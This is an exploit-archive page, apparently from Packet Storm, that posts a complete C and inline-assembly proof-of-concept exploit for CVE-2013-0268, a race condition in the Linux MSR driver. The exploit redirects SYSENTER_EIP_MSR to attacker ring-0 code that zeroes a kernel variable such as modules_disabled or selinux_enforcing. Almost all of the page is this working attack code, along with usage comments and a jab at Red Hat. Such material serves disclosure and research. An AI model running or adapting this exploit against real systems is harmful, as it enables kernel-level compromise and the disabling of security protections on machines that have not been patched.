what you don't know can hurt you

Linux Kernel MSR Driver Privilege Escalation

Linux Kernel MSR Driver Privilege Escalation
Posted Aug 4, 2013
Authored by Brad Spengler

Proof of concept exploit for the /dev/cpu/*/msr race condition that allows for privilege escalation in Linux kernels prior to 3.7.6.

tags | exploit, kernel, proof of concept
systems | linux
advisories | CVE-2013-0268
MD5 | fbb8c5cd4fa0a715a5bf61cb08e08e24

Linux Kernel MSR Driver Privilege Escalation

Change Mirror Download
// PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host
// can do whatever in the commented area, re-enable module support, etc
// requires CONFIG_X86_MSR and just uid 0
// a small race exists between the time when the MSR is written to the first
// time and when we issue our sysenter
// we additionally require CAP_SYS_NICE to make the race win nearly guaranteed
// configured to take a hex arg of a dword pointer to set to 0
// (modules_disabled, selinux_enforcing, take your pick)
//
// Hello to Red Hat, who has shown yet again to not care until a
// public exploit is released. Not even a bugtraq entry existed in
// their system until this was published -- and they have a paid team
// of how many?
// It's not as if I didn't mention the problem and existence of an easy
// exploit multiple times prior:
// https://twitter.com/grsecurity/status/298977370776432640
// https://twitter.com/grsecurity/status/297365303095078912
// https://twitter.com/grsecurity/status/297189488638181376
// https://twitter.com/grsecurity/status/297030133628416000
// https://twitter.com/grsecurity/status/297029470072745984
// https://twitter.com/grsecurity/status/297028324134359041
//
// spender 2013

#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/mman.h>

#define SYSENTER_EIP_MSR 0x176

u_int64_t msr;

unsigned long ourstack[65536];

u_int64_t payload_data[16];

extern void *_ring0;
extern void *_ring0_end;

void ring0(void)
{
__asm volatile(".globl _ring0\n"
"_ring0:\n"
".intel_syntax noprefix\n"
".code64\n"
// set up stack pointer with 'ourstack'
"mov esp, ecx\n"
// save registers, contains the original MSR value
"push rax\n"
"push rbx\n"
"push rcx\n"
"push rdx\n"
// play with the kernel here with interrupts disabled!
"mov rcx, qword ptr [rbx+8]\n"
"test rcx, rcx\n"
"jz skip_write\n"
"mov dword ptr [rcx], 0\n"
"skip_write:\n"
// restore MSR value before returning
"mov ecx, 0x176\n" // SYSENTER_EIP_MSR
"mov eax, dword ptr [rbx]\n"
"mov edx, dword ptr [rbx+4]\n"
"wrmsr\n"
"pop rdx\n"
"pop rcx\n"
"pop rbx\n"
"pop rax\n"
"sti\n"
"sysexit\n"
".code32\n"
".att_syntax prefix\n"
".global _ring0_end\n"
"_ring0_end:\n"
);
}

unsigned long saved_stack;

int main(int argc, char *argv[])
{
cpu_set_t set;
int msr_fd;
int ret;
u_int64_t new_msr;
struct sched_param sched;
u_int64_t resolved_addr = 0ULL;

if (argc == 2)
resolved_addr = strtoull(argv[1], NULL, 16);

/* can do this without privilege */
mlock(_ring0, (unsigned long)_ring0_end - (unsigned long)_ring0);
mlock(&payload_data, sizeof(payload_data));

CPU_ZERO(&set);
CPU_SET(0, &set);

sched.sched_priority = 99;

ret = sched_setscheduler(0, SCHED_FIFO, &sched);
if (ret) {
fprintf(stderr, "Unable to set priority.\n");
exit(1);
}

ret = sched_setaffinity(0, sizeof(cpu_set_t), &set);
if (ret) {
fprintf(stderr, "Unable to set affinity.\n");
exit(1);
}

msr_fd = open("/dev/cpu/0/msr", O_RDWR);
if (msr_fd < 0) {
msr_fd = open("/dev/msr0", O_RDWR);
if (msr_fd < 0) {
fprintf(stderr, "Unable to open /dev/cpu/0/msr\n");
exit(1);
}
}
lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
ret = read(msr_fd, &msr, sizeof(msr));
if (ret != sizeof(msr)) {
fprintf(stderr, "Unable to read /dev/cpu/0/msr\n");
exit(1);
}

// stuff some addresses in a buffer whose address we
// pass to the "kernel" via register
payload_data[0] = msr;
payload_data[1] = resolved_addr;

printf("Old SYSENTER_EIP_MSR = %016llx\n", msr);
fflush(stdout);

lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
new_msr = (u_int64_t)(unsigned long)&_ring0;

printf("New SYSENTER_EIP_MSR = %016llx\n", new_msr);
fflush(stdout);

ret = write(msr_fd, &new_msr, sizeof(new_msr));
if (ret != sizeof(new_msr)) {
fprintf(stderr, "Unable to modify /dev/cpu/0/msr\n");
exit(1);
}

__asm volatile(
".intel_syntax noprefix\n"
".code32\n"
"mov saved_stack, esp\n"
"lea ecx, ourstack\n"
"lea edx, label2\n"
"lea ebx, payload_data\n"
"sysenter\n"
"label2:\n"
"mov esp, saved_stack\n"
".att_syntax prefix\n"
);

printf("Success.\n");

return 0;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    2 Files
  • 15
    Sep 15th
    1 Files
  • 16
    Sep 16th
    11 Files
  • 17
    Sep 17th
    16 Files
  • 18
    Sep 18th
    8 Files
  • 19
    Sep 19th
    14 Files
  • 20
    Sep 20th
    20 Files
  • 21
    Sep 21st
    3 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close